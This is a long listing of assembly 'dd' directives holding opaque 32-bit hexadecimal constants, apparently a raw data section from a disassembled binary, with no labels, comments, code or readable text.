dd 8A0308E9h, 9F44D25h, 7A06F894h, 0A1051CD2h, 0D124CD04h
dd 5E7C02F7h, 5F23D801h, 64DB333Ch, 0BDE1020Eh, 85D0E93Bh
dd 8116FE83h, 0A56DA89h, 58F69D14h, 0CA64E410h, 58E7EFE8h
dd 3DC4E627h, 4197E7Ah, 70285680h, 448D699Ah, 0B716C57Dh
dd 5D89B16Ch, 25AF54F8h, 0E06104D0h, 1C530FFEh, 0D1F1DFB9h
dd 0BD2815BBh, 0BC52C810h, 544DE2A5h, 2BD86D62h, 0AD9F6EC3h
dd 8CC4DAB2h, 9D83F202h, 0DEB09021h, 0C7D475C1h, 863D4880h
dd 22D84099h, 734C6B52h, 59DE40FFh, 3450DB69h, 2E95833Eh
dd 0C53CA241h, 24F4A924h, 8C5FAEF3h, 744EF07Dh, 0B09342F9h
dd 2B8CA59h, 0EB59AFB2h, 67088705h, 0DDAA8B8Ah, 8935B351h
dd 0C557C412h, 0FD740835h, 711E6488h, 0BD144918h, 4652DC36h
dd 0C8646516h, 0E5983513h, 2D548614h, 30C2E071h, 0E420687Bh
dd 0DC152819h, 645B85A5h, 82A3D3Ch, 2D02EC3Dh, 7A40BD80h
dd 2B9AA3AFh, 3B6DE85Ch, 0B9B140A7h, 0DD0A68C0h, 885065E5h
dd 5052FD74h, 456B8426h, 1C053AD8h, 6D28E1B5h, 2CFD4FF8h
dd 595DE0EAh, 50A740Ch, 1A4317D0h, 52FE8808h, 0C6597919h
dd 0ECB6FB6h, 11284708h, 0FDF410C0h, 0A415E88Ch, 0EC2DFE42h
dd 0CA82039h, 944384C4h, 10F8D86Ah, 9C858498h, 3A958D4Fh
dd 9E80FC2Ah, 2D901E29h, 27C424AAh, 0FB772F9Ah, 2FB44119h
dd 0ACFC3B56h, 0E69C27DCh, 1801CC26h, 0F815B4F9h, 899A62E6h
dd 815FE498h, 9A6CB4AAh, 0D4F483B4h, 448B6477h, 0B35327ECh
dd 6CECA802h, 0ADBB60FCh, 3164915Ah, 4D50800Dh, 6912727Ch
dd 934024BEh, 0E325E4C7h, 445F4268h, 0F8E04AE0h, 0B84DCC1Dh
dd 48688834h, 0A4B11F48h, 395938C0h, 7585A05Dh, 1B53521Dh
dd 0C4B9324Fh, 0A18EBC33h, 0DA513425h, 0E149F5E9h, 0D4C55304h
dd 0EB93359Ah, 1C89FBC8h, 9CB4A499h, 38812E94h, 5C2AF82h
dd 8CC86657h, 7D89D409h
dd 505DA5DCh, 16147C32h, 0FB977386h, 1206A605h, 4544F3D8h
dd 24E892F4h, 45423EF3h, 1239F94Eh, 358EC3E8h, 9ED84D12h
dd 0C60B2832h, 2D014AB0h, 0D6FF1E6Ah, 2B28F5EBh, 0DC7045A4h
dd 0CB56F21Eh, 14FE4734h, 47142D10h, 0F0AB03Bh, 0B2A75186h
dd 89FFD080h, 0CD939B01h, 0EA608704h, 73E500Dh, 0A2E5CAB7h
dd 9404ECBDh, 0CB504449h, 9C5B448Bh, 14E4F899h, 463B4795h
dd 0EA4AAFDAh, 0AEE9707Dh, 0C9DAD53Bh, 8F7954D3h, 9070B37Bh
dd 0B1D4C9E4h, 45365346h, 133A776Bh, 0A45AA269h, 0F9C875DBh
dd 5F12E613h, 3AF8C474h, 44642BC8h, 15E1252h, 0B0895E2Dh
dd 71BD3EA8h, 2C87C8ACh, 66A8495h, 614EA156h, 864E73FBh
dd 0B9735F74h, 2BA5CA21h, 6E522F83h, 0DD91B14Eh, 43733E74h
dd 0E224D824h, 0DC56E4BFh, 101F7C88h, 0FF48B157h, 7495E008h
dd 0F34413A2h, 0F61951B2h, 0FFE98156h, 315F47B1h, 0D7AD3E5Eh
dd 3425CD90h, 5D2AE12Fh, 0F3E46ECEh, 0A04C0859h, 57793CCh
dd 0A9A483C7h, 0AD338C0Bh, 9FB3D4D0h, 0A410CCB2h, 0C8FA911Fh
dd 59E4B911h, 4925A850h, 51058B67h, 1CFC6CA4h, 8545BC96h
dd 99E5F10h, 8EC85F68h, 923FE6Ch, 9B62C73Bh, 0F47D6048h
dd 6A264CB8h, 296F6032h, 90E4F7FCh, 8C62B3FAh, 44BB89FBh
dd 8432D858h, 44E6AE0h, 6B2C7BD9h, 295F68AEh, 0B92C22EBh
dd 30F1995Ah, 0D650880Ah, 85E4D440h, 0F888D090h, 210FD079h
dd 17FCF1E0h, 8427CF8h, 8C4F821h, 2689493Ah, 741B2B3Bh
dd 0C1104438h, 904B52BAh, 0B216CCB2h, 18D0580Dh, 23CC54B3h
dd 2CAD4B5h, 626AB955h, 0D17D24B4h, 475C2C24h, 0C60E6C1h
dd 0C3E020E8h, 5C250E90h, 0ECD15824h, 8DF69FF1h, 7B48FF49h
dd 6AFA1C74h, 0C3A45799h, 241AE33Ch, 499CDC20h, 5E891C18h
dd 8B3EC604h, 0C2388BC6h, 7235A08h, 0D980160Ch, 15FF156h
dd 0D2083C82h, 0F04291h, 0FB2E74F6h, 541A5602h, 0FAC66920h
dd 0BF24FE9Dh, 0B2C60397h, 894CD602h, 0B533A87Bh, 0C25D0B90h
dd 89681068h, 74854927h, 0AA85206Bh, 832A5991h, 2670A766h
dd 4065E395h, 0FD46A635h, 7DD9216Fh, 10B281Eh, 9D0F7FF8h
dd 0E3DC4BC3h, 3D9F5FEh, 9C50CAC7h, 47506BFh, 58EBC032h
dd 505C2CD9h, 934BC84Ah, 75C0FB58h, 28C18A0Fh, 76FF0788h
dd 3BADF6D6h, 1AEB3607h, 0A982C6C6h, 8F8C10Dh, 1B072088h
dd 1C480265h, 73662403h, 0DA8A37DDh, 0FC5914FBh, 5F25B03Dh
dd 90A1A47Bh, 0F84D8D06h, 1744D661h, 54D2E201h, 6E68BB67h
dd 0DC130829h, 0A54087E0h, 503C4595h, 0FAA69415h, 0EC10D0D2h
dd 0F8959D8Ah, 8B18826Fh, 0C33E84CEh, 0B9409359h, 149651E4h
dd 0C97A0811h, 7C55A85Ah, 7F082A3Bh, 3938788Ah, 66D89F8h
dd 66A6717Dh, 35089CEAh, 0A1FCEC5Fh, 4EB35059h, 57090C1Bh
dd 0AB5EE2BCh, 0CD1FD909h, 615BA322h, 8492C321h, 0C328880Dh
dd 84E3D5A1h, 6442CC80h, 0C3296B3Ah, 600C1469h, 7F33BDC6h
dd 0EC2B0755h, 5BA45E43h, 58788198h, 0B838A58Ah, 0BF2A4207h
dd 98FA70E9h, 0F10090Ah, 51DA338Fh, 8D185D05h, 20870843h
dd 322587E3h, 0D04A561Dh, 0E010231Bh, 0FCDFB091h, 9413F55Eh
dd 0CA10C010h, 0D86408C8h, 68FDC034h, 43702030h, 0D5833FA4h
dd 38FA03FBh, 8860F96h, 9A406846h, 3A06E1BEh, 0F7A88518h
dd 4F6A56A2h, 662DBB42h, 34086E60h, 4D732468h, 7B215336h
dd 2A186436h, 0C9B509B8h, 1E5E2B21h, 0D33B3921h, 0B8E0215Ah
dd 0DE23B49Ah, 16BDAD30h, 2ACA08A4h, 6A422A56h, 8B629444h
dd 34407611h, 6A11068h, 1D34BB43h, 0D6362E8Bh, 800C73ACh
dd 0A47FBD0Eh, 3170A216h, 150B4344h, 7F6BAC68h, 0BFED3FE3h
dd 863CF840h, 0F6D51ECBh, 17104663h, 0C70669BDh, 7D2B1D88h
dd 0E88C7121h, 55B48057h, 32ED0AFDh, 4EC2952h, 0EF1C19C0h
dd 8686B40Ch, 643349BFh, 2C402694h, 608A9D61h, 0B4DAE984h
dd 5ACC77AAh, 0D4104CD9h, 39D00E52h, 0A6C00CC4h, 0E01CF742h
dd 0D6BB3AAAh, 0D5C0112Bh, 198A4164h, 868D8C7h, 0DC2B5CEAh
dd 6A391928h, 0F3A8AA02h, 0E2660F86h, 0CA17CCCAh, 6F6BC80Ch
dd 0E4C8C871h, 0F819DCF0h, 0DC50CD86h, 0D80C9427h, 261ED12Eh
dd 0C3E137DCh, 0B3A1A468h, 0CBB7282Bh, 6019F44Ah, 0EE2B4DF0h
dd 0A018F039h, 0FC1CFB86h, 1FF856A9h, 9410F823h, 909021EEh
dd 73B8E7B8h, 8729CC5h, 5E2C8CE7h, 0EABC0D89h, 0EB041448h
dd 1091110Eh, 8827B296h, 57568B10h, 5F13F8D1h, 41F07A8Ch
dd 2536FFDh, 6A1C8CFBh, 14613C7h, 0F8B589D1h, 1F70242Ah
dd 78132F13h, 0C72A1840h, 760A68C9h, 720C4241h, 75918209h
dd 52797F11h, 0B7530243h, 0FBA8C0C4h, 6EFD1089h, 0A9FBB5FEh
dd 4B53A12Ch, 0FC8D732Bh, 0B8DD232h, 0C0717F04h, 4374A9CFh
dd 3454690Bh, 223B65FDh, 0FF50981Ah, 4048A46Ah, 5437BA9Fh
dd 47736F7Dh, 9B415FB9h, 5E94F178h, 0D2077558h, 0C213C082h
dd 6596539Dh, 682F01EFh, 9D2B20CCh, 0B931FEh, 0FC6831DCh
dd 665021C0h, 0AA2F7E89h, 5E73C014h, 21DBD83Bh, 25A45339h
dd 0DF030603h, 42E6EC68h, 1F4E0FEEh, 0D3859714h, 6E414462h
dd 83C1C013h, 482A8B98h, 320BEA84h, 753BEBDBh, 627AC592h
dd 96A3FC4Fh, 92042040h, 2A5656A3h, 742B1C20h, 2ECC21D6h
dd 1B31210h, 8AC8CC56h, 0BADCC34Ah, 0F8B0E583h, 8684898h
dd 0FCD22168h, 6454326Fh, 0B4483D16h, 0E4E0811Eh, 53E69720h
dd 30DF4084h, 240E7A65h, 0CA3482E0h, 20045A32h, 0B2E51EC8h
dd 90074A12h, 4BE0C1DDh, 0DFF58103h, 0DDCCC6Dh, 0F176702Fh
dd 74C10A44h, 31152118h, 9155DD4Eh, 5F796835h, 0C0D1D31Ch
dd 596EEEFFh, 553A343Dh, 0B80A7829h, 0AD366AA7h, 2CEC4AC0h
dd 13458A12h, 894DCDA9h, 8928C83Bh, 0B1887F82h, 77C90955h
dd 868A4A50h, 81808F9Ah, 0D44539F4h, 0A735914h, 9D734DF1h
dd 0CC86F212h, 5B0FF458h, 44C1E586h, 7FADA853h, 472030Eh
dd 12EB866Ah, 75022015h, 1208E9E9h, 9993FC01h, 94D8885Bh
dd 7699DC58h, 80960482h, 9B51C12Ch, 3B910C94h, 0E4B8DF50h
dd 8B187614h, 0CB7573F1h, 7D8DD101h, 2E9C1F0h, 0CA07AB68h
dd 7503E183h, 8A980BA4h, 556E370Eh, 2F9C060h, 3F73E180h
dd 8803E21Fh, 0F124ECD9h, 7041E90h, 0C5D010Fh, 293E297h
dd 0F14032CAh, 0F204ED2Eh, 0F46060Ch, 86912951h, 0F633033Ah
dd 91024138h, 7969EE32h, 0EF16DF0Ch, 11F760Ah, 0BE02B745h
dd 0A1EC3544h, 54808ACAh, 0BD509C24h, 0C7E02FFAh, 3B467417h
dd 5472EC0Eh, 48767DB6h, 5FA0D0B5h, 6987E714h, 2A10464Eh
dd 90F1CDC7h, 395E30E1h, 2B12734Ch, 3DDA0ADEh, 3F0EB370h
dd 0F1A54E76h, 0F587DDA2h, 0AA698256h, 4D285590h, 8824CEEEh
dd 0FF614B06h, 0F6537835h, 2426628Dh, 92F5057h, 0E0130224h
dd 53B04980h, 44A54149h, 6E79A1E2h, 0D896407h, 0A252030Dh
dd 10491CC4h, 14AC4B9Fh, 9295A893h, 7C6901B8h, 0E1116677h
dd 454E066Fh, 0EC2F7A1Ch, 8D12E0C6h, 4F36E674h, 0BE886456h
dd 99FBB749h, 3C8644D3h, 0FF88B8E8h, 75CB3B0Fh, 0F7C88902h
dd 0BA033861h, 0DC51AF68h, 562B3297h, 0D347945Fh, 3BA12CC9h
dd 3B74C628h, 23D5024Ch, 21AC2157h, 0ADE414EEh, 403FFDD2h
dd 0BBA5140Eh, 0F5105F13h, 52E8F4BBh, 800504C8h, 0C4AAE0A5h
dd 6ADCC936h, 4A582CFDh, 0E1BD8D0Ch, 8F616823h, 66ABF31Bh
dd 4661AAC9h, 84682103h
dd 863C0FA1h, 0ECDCB8A2h, 0F167FBFh, 0F1B505B7h, 914F2337h
dd 0B1C06820h, 0FC6F644Fh, 0DE10408h, 9005BA01h, 491742C3h
dd 0B9644664h, 78E748E1h, 5221982Ah, 9E4EBDE0h, 9F3047A4h
dd 22761E29h, 7C67C762h, 1C582C7Fh, 6FFEDA0Fh, 4B9FB7Fh
dd 6427204h, 0BD8483D8h, 0A88CAA70h, 0ABE67D1Fh, 9D97B557h
dd 46A7A77Ah, 0F01E9DF3h, 55D90C4Bh, 0B3E81A93h, 265323EDh
dd 4351AFC5h, 3DBDA8BCh, 40755002h, 8AC3858Ah, 8B02C30Fh
dd 0C36589F4h, 13CB84F3h, 62224541h, 3E79179Ah, 7DB3C909h
dd 72F82091h, 0E2C41055h, 35EB1C05h, 8B494C81h, 0E527509h
dd 0A2C2811Dh, 1A4918EBh, 121201D5h, 872CB11Ch, 0CBF0B60Fh
dd 4B076655h, 0E80281F6h, 6BC6A03h, 610EF4A2h, 0FA8C0F02h
dd 6B29A835h, 157448D8h, 0B0698B75h, 2589789Bh, 1E5A80FFh
dd 23068D55h, 29BF5C91h, 26BCB101h, 0C94BC4A1h, 11790845h
dd 0BA462B16h, 0F077CD09h, 52020030h, 76DB859Ah, 0FB508B33h
dd 7E2603DDh, 1FACE108h, 2026856Bh, 61246692h, 77785057h
dd 0B35A0334h, 5A196BF5h, 8050C31Eh, 0F7853824h, 2159475Fh
dd 0B31790Ch, 0FE8C1E8Dh, 1434AEFAh, 37999C03h, 721570Bh
dd 95B6CE6Bh, 0F963042Fh, 73BA4339h, 6F515587h, 17E149Ah
dd 2BF0163Bh, 4C1FB313h, 0A340CACh, 0CC1E2AD2h, 0FEF1FCA3h
dd 0EF5652CFh, 164F5B4Fh, 0EB0CF444h, 2E247948h, 0F00E3F76h
dd 4787975h, 52C1438h, 78806050h, 7324FEFFh, 4E341E29h
dd 1B0B07D9h, 3F47891Fh, 9B084B9Dh, 1DB5D24Fh, 0FE85B996h
dd 0E1EBFF40h, 0CFDE0257h, 2853C394h, 98E912Eh, 82C10356h
dd 0B1047753h, 0FA0D47CDh, 0C7083024h, 0F3C25D8Fh, 14AAE595h
dd 8304202Bh, 9976FDFFh, 44EF01Dh, 3BD23309h, 8A6800CAh
dd 773AFF41h, 3C193BC2h, 1157F7Bh, 0FE4C75FAh, 0A48852C8h
dd 77C55124h, 0C0458BF0h, 5438152Bh, 0D4B01024h, 0E7F38483h
dd 89EA6501h, 11880856h, 1552E3EDh, 0FE3D4217h, 0FA1F1889h
dd 7334C73Bh, 38304218h, 53905EBh, 8730C7Eh, 0CA0F4557h
dd 5294F54Fh, 83858053h, 7466F404h, 28722249h, 1B05C785h
dd 8AFF488Dh, 33D1DD11h, 3106FD0Ah, 7C288F4h, 25B67251h
dd 0E8D0465Fh, 0BD09D008h, 0C180115Eh, 0F1C3108Ch, 1A67C991h
dd 0AFE4D4A9h, 54C5780Ah, 0E3653843h, 8A25AE53h, 1677BF22h
dd 0CB4845A4h, 847160Ah, 2B1377ADh, 732D0BC6h, 0D3D8D784h
dd 4FB1322Ah, 3E9FF04h, 0DD5061CEh, 859AD219h, 6C626F43h
dd 44F32BA7h, 765656CAh, 0A9610A24h, 9806915Eh, 94D0B8CFh
dd 110C596Dh, 70897D8Bh, 6D1A1FCFh, 70F0B661h, 7628EC32h
dd 5B81303h, 43478D2Fh, 12BBDC25h, 0C97921DCh, 16E47FA5h
dd 16254EEBh, 830A4595h, 811B3DC0h, 0ADB85935h, 866E40DAh
dd 7CC98094h, 3EB5ACE8h, 66174876h, 0A3AFA374h, 0F8674450h
dd 61F6B940h, 22085E8Bh, 4039D97Ch, 806A032Ah, 0E184FF60h
dd 7787431Ah, 1DFB6224h, 1D2B68AEh, 6CBBB5A0h, 592B9E26h
dd 78E9F914h, 2212C7B2h, 8C22468Ah, 9C17251Bh, 64BB56B6h
dd 0CCB7CA4h, 7C37661h, 0C01805F6h, 0BCFC094Dh, 90D800Ah
dd 0CB0016AEh, 0DB5D6851h, 2029140h, 0C35920CAh, 548BC151h
dd 17964403h, 562948BEh, 0B9350610h, 0A562E18Ah, 8540BE02h
dd 97BBBD10h, 0F966E757h, 0AEB2D349h, 0A092CE17h, 456AA2D1h
dd 0AE9155DAh, 0DD1A4359h, 0DDAA63CCh, 21EE1453h, 7A6A5013h
dd 0D333044Fh, 8AE825A4h, 237E9455h, 0CA0BFCACh, 872A7861h
dd 1808A710h, 0A05D490Fh, 0B81446E1h, 0ACCB4F4h, 28D35057h
dd 604640Eh, 941C0C10h, 4570B674h, 4CDC305h, 5966FB85h
dd 0AE56E4C0h, 0DE09EE18h, 96FBE526h, 0A159C5ADh, 0C8E221E3h
dd 0F38656DDh, 0D920E285h, 5995E485h, 0A4E290E3h, 0E73CD734h
dd 0E4F65633h, 0E2D35638h, 56D912ADh, 0B0BC1093h, 0B9410C5Ah
dd 0E86A5D35h, 0ABE0F257h, 12766CBDh, 0ED3004B8h, 1684935Bh
dd 5EBE2DB4h, 0A4C257A7h, 16BFFC59h, 0C1CF454Bh, 8113C210h
dd 113D2BA2h, 147EB57Dh, 6FB90B17h, 285CBB09h, 0EA30AA24h
dd 6CFA718Dh, 2C808884h, 906A80E0h, 4268A994h, 69955746h
dd 0C3792DD3h, 0D7B7E64Fh, 2D9D98D9h, 0C672106Ah, 0CFA8307h
dd 0ECDD4374h, 0D1464B18h, 4F468498h, 2C3584F0h, 748150A7h
dd 0B0EB303Eh, 5ECCE3E7h, 12AEC6ADh, 8503C844h, 753F720h
dd 9751212h, 8329F4B4h, 38132464h, 4B20A459h, 0BBD25E49h
dd 606802EFh, 70A9D24Bh, 0D64F3D24h, 5C7B46EFh, 0D42B31F3h
dd 54271327h, 6C10EC66h, 7C40F356h, 7170BE30h, 0FD683C6Ah
dd 10A34FA0h, 0B1EFFC3Dh, 0DD413CC7h, 0B6C62868h, 101A317h
dd 2B993032h, 0F6F8D1C2h, 640C60ACh, 0F37A8B89h, 30441646h
dd 640AA811h, 0EA2D0C20h, 7A0B7C19h, 0DE804286h, 0B7B090A1h
dd 2DB464A8h, 0BCC19EAh, 8823867Ah, 77163AF1h, 0E0E1101h
dd 3BCE64Fh, 56D88B40h, 7C55846Ah, 0ABECEF8Bh, 0C4FCBB84h
dd 61A7919Eh, 0C3EC38E2h, 4F53995Bh, 0C5E91388h, 85FCA656h
dd 0A24E850Fh, 50CC1350h, 2860AECDh, 63F19D5Eh, 1702478Ah
dd 60FA0C12h, 299C6882h, 0A454795h, 4416DB33h, 0A4C8EA53h
dd 9D03786Ah, 0C013508Ch, 0F85AD99Ah, 0EBF524FEh, 520FFE4Ah
dd 5D41CC62h, 0CAD1FAC8h, 26A1FC5h, 0CD724403h, 1BEFE459h
dd 0E93A6A6Ch, 868D5BF0h, 707A2FF5h, 81F9CCA6h, 9611C44Ch
dd 0F84E40FFh, 0A0BF6274h, 3EA18651h, 53858D77h, 348029EBh
dd 27EABF60h, 7150C4A9h, 38817C05h, 0FC20C224h, 8081F454h
dd 0C027E1Fh, 0EC441819h, 0F0283AB2h, 7941CC77h, 0D819BD15h
dd 0C5352A1Eh, 10D736EAh, 94B55971h, 0CFA688A3h, 53B1D0C2h
dd 8BEC1544h, 3A6515Ah, 0C830562Bh, 318359E0h, 55C22A1Eh
dd 5BE92829h, 0E2A864E4h, 3BFE8318h, 5E1F884h, 0EE5A78FCh
dd 25594629h, 0F6DF3296h, 53DC1668h, 0A2DF67F3h, 454B9DB4h
dd 0A1DE1193h, 0A75453E0h, 4614E195h, 0E6ABB93Eh, 0EDF4A540h
dd 88107827h, 0B778EBAEh, 0C5DA8158h, 45D90BCEh, 37500C5h
dd 5359EB56h, 57963A93h, 748F9CBBh, 0D210C2A0h, 0C0D43A70h
dd 0DBEC3EE1h, 8CE727AEh, 60C95363h, 280A28F4h, 0E5590F52h
dd 287918EBh, 491D2BA0h, 57892B14h, 17EAEE54h, 148DD28Ah
dd 225B4C7Ah, 7046FDCCh, 4816F6CAh, 194E0911h, 139652F4h
dd 2417CBBBh, 6014D46h, 6EEBDE7Ch, 9C964F78h, 0CA9D05D0h
dd 544D315Bh, 3910090Fh, 0F41D129Dh, 281D216Ah, 24B84552h
dd 3FE91C75h, 0CC10A19Ah, 5422A4FDh, 0CB25F359h, 51459889h
dd 1A05A08Bh, 0D1A80B38h, 0F3DE3C1Dh, 1FA6978Dh, 0F4C0A552h
dd 3290A166h, 0C3B18EAAh, 5EFB2256h, 27E93295h, 0E18C8C97h
dd 788F5E8Bh, 66BDCB5Fh, 0FA60251Fh, 5349074Eh, 24FC925Eh
dd 0A232578Eh, 90BE8330h, 683B0901h, 2C4833F4h, 0D9B5FE60h
dd 0C418C7AEh, 5F5BA935h, 0A5885A38h, 0BBFB4825h, 0E28FED4Bh
dd 33531160h, 0D744890Eh, 519DD91Eh, 64442398h, 0B2D62A10h
dd 0FC44B2Ch, 615ED02Fh, 2201B0C2h, 0B4B8825Fh, 13A5EE89h
dd 0A1341CA1h, 0F02F43BBh, 135420CBh, 6192564Dh, 853C5D94h
dd 341068C4h, 32488BDBh, 8AE7FD8Ch, 8F354C3Fh, 3C488846h
dd 334018CEh, 7C282700h, 0BD606AEFh, 0A068A498h, 1A292E4Bh
dd 16A87EA3h, 9E80EBD1h, 84FFFEFCh, 65967C76h, 45831C59h
dd 0F768096Ah, 81D16442h
dd 7B45848Dh, 624043A3h, 0CF411A04h, 470D3AD0h, 430224FFh
dd 3122954Fh, 0B209043Ch, 0EFE4448h, 69792171h, 0D6261633h
dd 35E3192Ch, 0C1928D99h, 76EDEA02h, 5BADA0DDh, 0D26FA22Bh
dd 0A4C8C008h, 13DE1110h, 32FEACBFh, 890AE3DDh, 0FC116225h
dd 0B208C996h, 46A0123h, 303CC06Bh, 0B3DAD0ADh, 8A37F490h
dd 0C16FEB20h, 3E2AF0BEh, 98AE4B16h, 0EB49303Fh, 6232DBBCh
dd 0EE541E68h, 4A086802h, 45131450h, 7B147A58h, 0B840A211h
dd 85EE643Bh, 76A6F7AAh, 528CB744h, 79529335h, 7CF73B80h
dd 5229BEEDh, 4C0CAA1Ch, 36A6176h, 9D885031h, 1464D354h
dd 0B350550Ch, 24DA44D2h, 65361A97h, 0EB18053Ch, 6208A257h
dd 8F0EC30h, 0BC3C7ADDh, 69F18C21h, 171A384Ah, 528CE6D5h
dd 0A184EFF8h, 6B5D99D0h, 2985D0F1h, 50E2968h, 28D35857h
dd 0BE480F6Fh, 0BD8B13B2h, 0E70C218Ch, 0BF53C920h, 0CFBDCAB3h
dd 928C4FDCh, 0BE2B0ED8h, 91120640h, 1AF8BC0Bh, 49686A1Ch
dd 344D2F04h, 0F524D015h, 0C2C3C71Ah, 422734DAh, 0E028A5A9h
dd 0AC568BAAh, 28277733h, 62C89C31h, 1B5A23B7h, 0B442FE5Eh
dd 24E49476h, 0C242706Ah, 2B969468h, 21C89022h, 94880A5Eh
dd 84685097h, 310123E1h, 32083BA2h, 3C832C3Ah, 0A8816DA4h
dd 43406CFCh, 248CD0FBh, 0CFA10C01h, 0E10FDC70h, 0EB7591C2h
dd 937CD420h, 14680552h, 447F2930h, 5C66ABBAh, 0D3D421FFh
dd 0A4319064h, 309411DBh, 0F24260Eh, 21E04F08h, 0F8BC3148h
dd 2F855F0Ch, 2C74257Ch, 344A7ACBh, 28EEA1E5h, 92D2B1E8h
dd 8445CC2Eh, 950FC017h, 825EF8Fh, 9FF9E19h, 5F30E2FAh
dd 0A1B6E50Bh, 0CDD2EC42h, 36626560h, 66A1287h, 8DEEA198h
dd 0ECC89F90h, 841489F9h, 4A061DB4h, 2ED72C88h, 33727131h
dd 21572034h, 5311F7ACh, 8A85899h, 0CA2D4614h, 42542746h
dd 0C4C023DEh, 0C3482A1Fh, 21F08518h, 300EE883h, 73480D74h
dd 0D902F5B3h, 24EB57F6h, 8B53C084h, 0F1D3C42Bh, 758A611Ch
dd 5313E422h, 229035CBh, 0BAD774A2h, 489BEC78h, 27704083h
dd 6F176874h, 0A9699225h, 0F2B6F5F7h, 4B136A53h, 33696A2Eh
dd 0A626676Fh, 0EE69BFA5h, 0A4DD71C9h, 0C88CC47Ah, 1E9E83F4h
dd 767A6896h, 7C7450F4h, 0F850649Ch, 3F424271h, 0A0BF2574h
dd 358B5689h, 9822D2FCh, 41C9579Bh, 259BFBD6h, 38083F95h
dd 90DA5346h, 12BAE7DDh, 0C2FFDA1Ch, 31427208h, 14170233h
dd 3B70648Bh, 9FEE1E8Ah, 0E0463D09h, 0A193DA8Ch, 0A7DF4C4h
dd 69A24BDAh, 0DA683421h, 19D8E9E9h, 1368DE84h, 244AD112h
dd 8BFA0734h, 0A75D15Bh, 92177A49h, 68410A5Ah, 4EA4216Bh
dd 0D9205E12h, 85C044FBh, 76397C82h, 5EAC3295h, 851444F2h
dd 0DC0FBFA4h, 0D0444927h, 5103E0FCh, 0B2FC6C6h, 4C7718F3h
dd 0B70BF699h, 0D42BF791h, 0EB37F003h, 3A7AF3D9h, 6EB139A1h
dd 3D4C3374h, 2B76C3C7h, 893450C6h, 41348418h, 103301CAh
dd 7E4A0C8Dh, 3DD95C0Ah, 99F98F4Ch, 24C8824h, 0DCA16684h
dd 55EB9D95h, 0FEC721AFh, 0C41EDB5Eh, 0A98952BFh, 0F7670C26h
dd 7552B8CCh, 5E28B45Eh, 9BED83B6h, 0C7516E4h, 5CD10274h
dd 3C8587DEh, 0EC0C6AC8h, 0A5DB8509h, 0DD3098FEh, 0D6371295h
dd 23D413E2h, 905D8E8h, 46CC68C8h, 0D53BE3D9h, 0AAC5BBC9h
dd 4C6AF2BEh, 3D80643h, 340C0A74h, 0EB2008E0h, 4C2C5FD4h
dd 91438EDEh, 6256567Ch, 0FE657B88h, 0A22DD511h, 6ADC1864h
dd 882E0456h, 2E8B994Dh, 0FF0C99BFh, 0D0E8C810h, 0BECF3523h
dd 0EAB70115h, 0BBCA0B10h, 9EE2BB1Ch, 0E71C623h, 14B908E9h
dd 4D8922E1h, 77B82FDCh, 90ECB992h, 1803F261h, 18476AE4h
dd 5010EC8Eh, 4D078B79h, 0E5458AF8h, 6552D167h, 0A6374BE4h
dd 0E71CCC22h, 0A48BE618h, 0EC04ED22h, 0EF10215Dh, 8E9EE22h
dd 17F081F1h, 23C18B40h, 6893A4C7h, 479384C2h, 0E80E9CCEh
dd 4A9F93A6h, 275E76E1h, 8B255866h, 9065D27Dh, 0B7E0AE1h
dd 58845657h, 375F2480h, 9BF03625h, 250E9CE0h, 0D804DE51h
dd 7395AC68h, 0B423819Fh, 0C80AB451h, 36535934h, 0B09A4CD7h
dd 0B15309EBh, 931C4B2Ch, 0B1BF0471h, 0C96DFB39h, 82804D6h
dd 0EC7252E7h, 0DB86557Eh, 512942FCh, 3D322350h, 7A541A04h
dd 43C6EB8Ah, 0FC1796E8h, 7E9AC0ACh, 0F8214B34h, 0D15BB5E6h
dd 59D87E77h, 47C37C6Bh, 85144C69h, 4B49BEEBh, 591CF41Ch
dd 8AE40C28h, 0BD07BE62h, 0C0D67933h, 0C8C49811h, 0F758AC57h
dd 0A76846E8h, 564554B1h, 0B3CA328Ch, 70F92530h, 10129E24h
dd 22DCE1A8h, 0BA905F8h, 8B598FFCh, 6256371Dh, 579A88FEh
dd 681753E3h, 98A34529h, 7EF46C33h, 83EDA4CEh, 0D00B6FCCh
dd 29FF0CEDh, 5EA924Bh, 21D3FF88h, 14E6FC22h, 6AD3E730h
dd 8426CA44h, 16A1E59Ch, 4519A435h, 23A3BC7Bh, 0F8C01027h
dd 0A48BB6A8h, 848A3111h, 0B04C5144h, 669B9001h, 42AB54Dh
dd 812AA89h, 0AEC80D2Bh, 88D80F34h, 0BC57FC84h, 0E9044622h
dd 65FC8CD3h, 0A246E0C5h, 5C74258Ah, 0D143CC8Fh, 0B740EE2Bh
dd 0A4C9F925h, 9119A1B4h, 0BC6AE38Eh, 6A2123F5h, 915DEC6Fh
dd 0FB9F7DF8h, 0EC1432B2h, 0D6130532h, 57550E1Dh, 82FC2228h
dd 78D3139Dh, 804532Fh, 88E6F811h, 0DC75C2FCh, 16D80584h
dd 9CDF6046h, 0F1E00B0Bh, 0B029FE68h, 45D50C2Bh, 0B1E710E7h
dd 0EC2206C0h, 506227C8h, 0FDB39FFh, 0A753EC11h, 2C5C44E8h
dd 1CEB9353h, 0F05DC9EEh, 71981E4Ch, 3B01CE7Ah, 394575FEh
dd 20D4E45Dh, 9DCB753h, 5D5DAB49h, 459DBBCEh, 2C44A576h
dd 2CBA405Bh, 1AA45407h, 7769E29Dh, 85516A94h, 0FA860514h
dd 1CB8DB61h, 52925414h, 3B824949h, 0DA92BBC6h, 2FCF76C1h
dd 2268D522h, 0BF74403Dh, 7F477409h, 48751585h, 11F55680h
dd 0C93E9456h, 843A3453h, 68BB9EEDh, 54755884h, 74847BA4h
dd 47822756h, 2530FD7Bh, 3023B357h, 0D4840FC2h, 1011F99Bh
dd 4CA9BE27h, 0CEFEEDA9h, 684487C8h, 8C2FAE9h, 0E5C1E674h
dd 2175C0E4h, 0F97E8584h, 6A0D4859h, 0F7ADF3BBh, 0A70E00BBh
dd 33569674h, 3F19B6D9h, 219EB938h, 0C4BF4093h, 84B5E3C2h
dd 0AD79F940h, 97B4F721h, 0BF43C981h, 1805898Bh, 2703C4E7h
dd 0B84CC7E2h, 0FB2700ADh, 0A084FAAh, 70B90158h, 0EC1BD3A9h
dd 0AF203450h, 0A0AC21FFh, 5B900802h, 2B3B89F5h, 0E54ADBB9h
dd 9EE0CD31h, 0B54AE806h, 0CB2D3D4h, 2DEAE4C4h, 0C324D815h
dd 0B228AA53h, 21DC6935h, 6A1FD576h, 0DEBF5189h, 0B010B52Ch
dd 0F84F45D4h, 5E7F41B7h, 0EEC887FBh, 0E82D0F94h, 0A7A2A079h
